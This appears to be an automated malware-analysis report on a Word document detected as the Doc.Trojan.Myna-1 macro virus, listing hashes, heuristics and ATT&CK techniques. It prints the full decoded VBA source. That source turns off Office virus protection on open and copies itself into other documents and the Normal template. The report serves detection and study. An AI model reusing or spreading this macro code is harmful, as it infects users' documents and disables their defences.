Doc.Trojan.Myna-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 d08e86eba7956612…

MALICIOUS

Office (OLE)

313.0 KB First seen: 2014-10-17
MD5: 606426ece0523bcfb63cdeed57239765 SHA-1: f126dfd2cf8fbcdbf67f4ef21cc1ad4cef85857b SHA-256: d08e86eba79566124ac03abf9c1d76ec660b3d2f49fee3aa0295987006cc09b4
208 Risk Score

Malware Insights

Doc.Trojan.Myna-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that disable virus protection and attempt to replicate themselves into other documents and the Normal template. The 'Document_Open' macro is present, indicating execution upon opening. The macro attempts to insert code using the string 'MYNAMEISVIRUS' as a marker, suggesting a self-replication or persistence mechanism. The ClamAV detection 'Doc.Trojan.Myna-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Myna-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Myna-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Dim aready As Boolean

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3016 bytes
SHA-256: b454bb7ce76e94b60e1b1234d9969c737f3ac24d3ca23096f1f72e4c2c0e689c
Detection
ClamAV: Doc.Trojan.Myna-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_New()
'
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_Open()
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 answer = "MYNAMEISVIRUS"
  Options.VirusProtection = False
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.